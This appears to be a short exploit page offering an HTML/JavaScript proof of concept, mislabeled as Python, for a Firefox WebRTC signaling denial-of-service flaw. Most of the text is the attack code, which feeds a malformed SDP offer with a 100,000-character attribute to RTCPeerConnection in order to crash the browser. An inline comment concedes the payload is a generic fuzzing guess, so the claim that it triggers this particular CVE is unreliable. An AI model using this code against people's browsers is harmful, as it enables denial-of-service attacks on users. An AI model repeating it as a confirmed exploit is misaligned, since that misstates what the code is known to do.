Denial-of-service in the WebRTC: Signaling component. This vulnerability was fixed in Firefox 149, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9.
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-4704 (WebRTC Signaling DoS)
Description: This script attempts to trigger a crash in Firefox by creating a PeerConnection with a malformed SDP.
Usage: Open this HTML file in a vulnerable version of Firefox (< 149).
-->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-4704 PoC</title>
</head>
<body>
<h1>Testing CVE-2026-4704 DoS</h1>
<script>
// Create a malicious SDP offer designed to trigger the parsing flaw
// Note: Actual payload structure depends on specific bug details, this is a generic fuzzing example.
const maliciousSdp = "v=0\r\n" +
"o=- 0 0 IN IP4 127.0.0.1\r\n" +
"s=-\r\n" +
"c=IN IP4 0.0.0.0\r\n" +
"t=0 0\r\n" +
"m=audio 0 RTP/AVP 0\r\n" +
"a=fmtp:0 extremely_long_parameter_string_that_may_trigger_buffer_overflow_or_logic_error=" + "A".repeat(100000) + "\r\n";
try {
const pc = new RTCPeerConnection();
// Attempt to set the remote description with the malformed SDP
pc.setRemoteDescription(new RTCSessionDescription({
type: 'offer',
sdp: maliciousSdp
})).then(() => {
console.log("SDP Set successfully, browser might not be vulnerable or payload needs adjustment.");
}).catch(e => {
console.log("Error setting SDP (Expected in some cases):", e);
});
} catch (error) {
console.error("Exception thrown:", error);
}
</script>
</body>
</html>